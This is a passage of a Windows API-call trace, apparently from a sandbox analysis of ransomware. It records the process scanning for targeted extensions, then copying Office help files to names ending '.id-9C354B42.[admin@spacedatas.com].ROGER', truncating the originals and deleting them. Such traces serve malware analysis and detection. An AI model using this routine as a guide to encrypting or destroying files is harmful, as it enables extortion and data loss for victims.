lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString=".xlsx") returned 5 [0043.073] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0043.073] lstrlenW (lpString=".ppt") returned 4 [0043.073] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.073] lstrlenW (lpString=".zip") returned 4 [0043.073] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.073] lstrlenW (lpString=".rar") returned 4 [0043.073] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString=".bz2") returned 4 [0043.073] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString=".7z") returned 3 [0043.073] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.073] lstrlenW (lpString=".dbf") returned 4 [0043.073] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.073] lstrlenW (lpString=".1cd") returned 4 [0043.074] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.074] lstrlenW (lpString=".jpg") returned 4 [0043.074] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.074] lstrlenW (lpString=".doc") returned 4 [0043.074] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString=".docx") returned 5 [0043.074] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0043.074] lstrlenW (lpString=".pdf") returned 4 [0043.074] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString=".xls") returned 4 [0043.074] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString=".xlsx") returned 5 [0043.074] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0043.074] lstrlenW (lpString=".ppt") returned 4 [0043.074] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.074] lstrlenW (lpString=".zip") returned 4 [0043.074] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.074] lstrlenW (lpString=".rar") returned 4 [0043.074] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString=".bz2") returned 4 [0043.074] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString=".7z") returned 3 [0043.074] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.074] lstrlenW (lpString=".dbf") returned 4 [0043.074] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.074] lstrlenW (lpString=".1cd") returned 4 [0043.075] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.075] lstrlenW (lpString=".jpg") returned 4 [0043.075] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.075] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0043.075] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0043.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.076] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=37689) returned 1 [0043.076] CloseHandle (hObject=0x36c) returned 1 [0043.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0043.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.080] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.080] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0043.080] GetLastError () returned 0x0 [0043.080] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x9339, lpOverlapped=0x0) returned 1 [0043.083] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x9340, lpOverlapped=0x0) returned 1 [0043.084] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.084] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.084] SetEndOfFile (hFile=0x3b0) returned 1 [0043.084] CloseHandle (hObject=0x3b0) returned 1 [0043.085] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.085] SetEndOfFile (hFile=0x36c) returned 1 [0043.086] CloseHandle (hObject=0x36c) returned 1 [0043.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.087] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.087] lstrlenW (lpString=".doc") returned 4 [0043.087] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.087] lstrlenW (lpString=".docx") returned 5 [0043.087] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0043.087] lstrlenW (lpString=".pdf") returned 4 [0043.087] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.087] lstrlenW (lpString=".xls") returned 4 [0043.087] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.087] lstrlenW (lpString=".xlsx") returned 5 [0043.087] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0043.087] lstrlenW (lpString=".ppt") returned 4 [0043.087] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.087] lstrlenW (lpString=".zip") returned 4 [0043.087] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.087] lstrlenW (lpString=".rar") returned 4 [0043.087] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.087] lstrlenW (lpString=".bz2") returned 4 [0043.087] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.087] lstrlenW (lpString=".7z") returned 3 [0043.087] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.088] lstrlenW (lpString=".dbf") returned 4 [0043.088] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.088] lstrlenW (lpString=".1cd") returned 4 [0043.088] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.088] lstrlenW (lpString=".jpg") returned 4 [0043.088] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.088] lstrlenW (lpString=".doc") returned 4 [0043.088] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString=".docx") returned 5 [0043.088] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0043.088] lstrlenW (lpString=".pdf") returned 4 [0043.088] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString=".xls") returned 4 [0043.088] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString=".xlsx") returned 5 [0043.088] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0043.088] lstrlenW (lpString=".ppt") returned 4 [0043.088] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.088] lstrlenW (lpString=".zip") returned 4 [0043.088] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString=".rar") returned 4 [0043.088] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.088] lstrlenW (lpString=".bz2") returned 4 [0043.088] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.088] lstrlenW (lpString=".7z") returned 3 [0043.088] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.089] lstrlenW (lpString=".dbf") returned 4 [0043.089] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.089] lstrlenW (lpString=".1cd") returned 4 [0043.089] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0043.089] lstrlenW (lpString=".jpg") returned 4 [0043.089] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.089] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0043.089] lstrlenW (lpString="PSS10O.CHM") returned 10 [0043.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.089] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=26929) returned 1 [0043.089] CloseHandle (hObject=0x36c) returned 1 [0043.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0043.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0043.258] GetLastError () returned 0x0 [0043.258] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x6931, lpOverlapped=0x0) returned 1 [0043.260] WriteFile (in: hFile=0x3d8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x6940, lpOverlapped=0x0) returned 1 [0043.501] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.501] WriteFile (in: hFile=0x3d8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0043.501] SetEndOfFile (hFile=0x3d8) returned 1 [0043.502] CloseHandle (hObject=0x3d8) returned 1 [0043.502] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.503] SetEndOfFile (hFile=0x36c) returned 1 [0043.503] CloseHandle (hObject=0x36c) returned 1 [0043.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.504] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0043.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.504] lstrlenW (lpString=".doc") returned 4 [0043.504] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.504] lstrlenW (lpString=".docx") returned 5 [0043.504] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0043.504] lstrlenW (lpString=".pdf") returned 4 [0043.504] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.504] lstrlenW (lpString=".xls") returned 4 [0043.504] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.504] lstrlenW (lpString=".xlsx") returned 5 [0043.504] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0043.504] lstrlenW (lpString=".ppt") returned 4 [0043.504] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.504] lstrlenW (lpString=".zip") returned 4 [0043.504] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.504] lstrlenW (lpString=".rar") returned 4 [0043.504] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString=".bz2") returned 4 [0043.505] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.505] lstrlenW (lpString=".7z") returned 3 [0043.505] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.505] lstrlenW (lpString=".dbf") returned 4 [0043.505] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.505] lstrlenW (lpString=".1cd") returned 4 [0043.505] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.505] lstrlenW (lpString=".jpg") returned 4 [0043.505] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.505] lstrlenW (lpString=".doc") returned 4 [0043.505] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString=".docx") returned 5 [0043.505] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0043.505] lstrlenW (lpString=".pdf") returned 4 [0043.505] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString=".xls") returned 4 [0043.505] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString=".xlsx") returned 5 [0043.505] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0043.505] lstrlenW (lpString=".ppt") returned 4 [0043.505] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.505] lstrlenW (lpString=".zip") returned 4 [0043.505] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.505] lstrlenW (lpString=".rar") returned 4 [0043.505] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.506] lstrlenW (lpString=".bz2") returned 4 [0043.506] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.506] lstrlenW (lpString=".7z") returned 3 [0043.506] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.506] lstrlenW (lpString=".dbf") returned 4 [0043.506] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.506] lstrlenW (lpString=".1cd") returned 4 [0043.506] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0043.506] lstrlenW (lpString=".jpg") returned 4 [0043.506] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.506] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0043.506] lstrlenW (lpString="PSS10R.CHM") returned 10 [0043.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.543] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=27195) returned 1 [0044.543] CloseHandle (hObject=0x370) returned 1 [0044.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0044.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.544] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.544] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.545] GetLastError () returned 0x0 [0044.545] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0044.775] WriteFile (in: hFile=0x350, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0044.776] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.776] WriteFile (in: hFile=0x350, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0044.777] SetEndOfFile (hFile=0x350) returned 1 [0044.777] CloseHandle (hObject=0x350) returned 1 [0044.778] SetFilePointerEx (in: 